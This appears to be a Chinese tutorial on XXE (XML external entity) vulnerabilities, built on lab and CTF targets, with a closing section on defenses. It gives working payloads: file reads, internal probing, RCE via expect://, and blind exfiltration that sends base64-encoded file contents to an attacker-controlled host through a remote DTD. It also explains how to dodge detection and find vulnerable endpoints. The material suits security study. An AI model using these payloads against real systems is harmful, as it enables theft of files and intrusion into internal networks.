39 WEB漏洞-XXE&XML之利用检测绕过全解

目录

文章分享:https://www.cnblogs.com/zhengna/p/15740341.html

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。危害有点类似于ssrf漏洞的危害

XML与HTML的主要差异

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。

bash 复制代码
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

#DTD

文档类型定义(DTD)可定义合法的XML文档构建模块

它使用一系列合法的元素来定义文档的结构

DTD可被成行地声明于 XML 文档中,也可作为一个外部引用

(1)内部的 DOCTYPE声明

(2)外部文档声明

#DTD实体

(1)内部实体声明
<!ENTITY 实体名称 "实体的值">

(2)外部实体声明
<!ENTITY 实体名称 SYSTEM "URI">

(3)参数实体声明
<!ENTITY %实体名称 "实体的值"> <!ENTITY %实体名称 SYSTEM "URI">

涉及案例

pikachu靶场xml数据传输测试-回显、玩法、协议、引入

玩法-读文件

bash 复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>

玩法-内网探针或攻击内网应用(触发漏洞地址)

bash 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo {
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt"
>
]>
<x>&rabbit;</x>

玩法-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

bash 复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

实战情况下,这种情况很难碰到,不能去执行命令

引入外部实体dtd

bash 复制代码
<?xml version="1.0" ?>
<!DOCTYPE test [
     <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
     %file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

对方允许外部实体,那么它就可以去调用远程的实体去执行相关的攻击代码,这种类似于,我们在讲文件包含的时候,本地包含,远程包含的一个概念,这种引用外部实体dtd文件,其实就类似于远程包含漏洞的原理

自定义的攻击代码,为了绕过一些远程防御的代码,因为对方有检测有防御软件的话,他会去跟踪用户行为,发现你正在对这个文件进行读取,他会拦截,或者在代码中分析到有关键的协议名,或者是观念的东西,可能会有拦截,这种时候就把你的核心代码放在上面,这个payload远程去请求并执行核心代码

应用场景在于绕过和进行自定义攻击,要攻击的时候,改dtd文件就可以了

无回显-读取文件

bash 复制代码
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY %dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>

test.dtd:
<!ENTITY % payload
    "<!ENTITY &#x25; send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;

没有回显,我们就不知道你读的内容,那这个攻击就没有什么意义了

file变量读取指定内容,读到之后会复制给file,执行dtd里面的代码

协议-读文件(绕过)

bash 复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>

网上有很多字典关于xxe攻击的payload

xxe-lab靶场登陆框xml数据传输测试-检测发现

1.提交的数据包含XML格式如:

admin

2.请求头中如:

bash 复制代码
Content-Type: text/xml或Content-type:application/xml

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password><
/user>

xxe扫描工具网上也有,但是效果我没有尝试

主要是通过爬行的数据包,用BP抓包,并且在bp上面有爬行数据包的功能,我们可以让bp帮我们爬取整个网站,把地址请求都爬一遍,爬完之后,可以在每个数据包里面进行批量搜索,搜索Content-Type值的判断,如果在这个数值里面,发现有text/xml或者application/xml,表示后面接上的数据,都是xml的格式语言的数据传递,这个时候是符合xml语言的接收,这个时候就能够进行尝试漏洞

根据传输数据的格式,这个格式的写法就是典型的xml语言代码的写法

盲猜,没有并不代表接收,他可能在代码当中是正常显示,只是说这个数据包没有正常显示,这个时候你就能够去尝试更改类型,更改为text/xml或着application/xml其中的一种,再把攻击语句写到数据那里,实现对它测试有没有xxe漏洞,这就是根据人工方法去测试有没有漏洞,是否存在的常规操作

对网站进行爬取

这种写法就是典型的xml写法,他是符合测试xxe漏洞存在的,这个时候,我们对它进行攻击,直接把payload复制上去就可以了

找到符合漏洞存在的数据包,我们在提交数据这里,提交自身的payload进行攻击

他这种提交数据给到上面之后,他的数据传输形式采用的是json的形式提交的,这种就是盲猜了,猜你有没有,我们直接修改Content-Type类型,因为数据包你不修改这个类型的话,传输数据的时候,这个写法就不识别了

CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/

更改请求数据格式:application/xml

bash 复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY [
     <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

把数据格式换成payload的格式,之前讲的方法是先判断他符不符合xml的格式,符合,我们在确定他有没有这个漏洞,所以这两个概念是不一样的

更改数据包来实现xxe漏洞的盲猜

xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

XXEinjector使用方法:https://www.cnblogs.com/bmjoker/p/9614990.html

XXEinjector检测工具:https://github.com/enjoiz/XXEinjector

https://www.cnblogs.com/bmjokex/p/9614990.html

xxe_payload_fuzz

从发现目标地址到目标的资产收集,对目标的资产信息进行攻击,找到对应的漏洞来实现一步步的操作

CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战

扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base32 64解套->php运行->flag

bash 复制代码
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT Y ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

靶机综合难度来说还是有一些的,他不会像发现漏洞、利用漏洞就完了,他中间会给你绕一下

xxe漏洞修复与防御方案-php,java,python-过滤及禁用

#方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from Ixml import etreexmlData =etree.parse(xmlsource,etree,XMLParser(resolve _entities=False))

#方案2-过滤用户提的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

XXE漏洞产生的根本原因就是网站有接收xml数据,xml其实就是语言,网站有接收xml的数据,但是它没有进行过滤,所以我们可以让他接收xml的一些代码,这个代码就是执行文件读取这个操作的,他其实从我们讲的注入里面,json注入,反序列化,都是一种数据的格式问题

相关推荐
桂月二二36 分钟前
探索前端开发中的 Web Vitals —— 提升用户体验的关键技术
前端·ux
hunter2062062 小时前
ubuntu向一个pc主机通过web发送数据,pc端通过工具直接查看收到的数据
linux·前端·ubuntu
qzhqbb2 小时前
web服务器 网站部署的架构
服务器·前端·架构
刻刻帝的海角2 小时前
CSS 颜色
前端·css
浪浪山小白兔3 小时前
HTML5 新表单属性详解
前端·html·html5
lee5763 小时前
npm run dev 时直接打开Chrome浏览器
前端·chrome·npm
2401_897579653 小时前
AI赋能Flutter开发:ScriptEcho助你高效构建跨端应用
前端·人工智能·flutter
limit for me4 小时前
react上增加错误边界 当存在错误时 不会显示白屏
前端·react.js·前端框架
浏览器爱好者4 小时前
如何构建一个简单的React应用?
前端·react.js·前端框架
qq_392794484 小时前
前端缓存策略:强缓存与协商缓存深度剖析
前端·缓存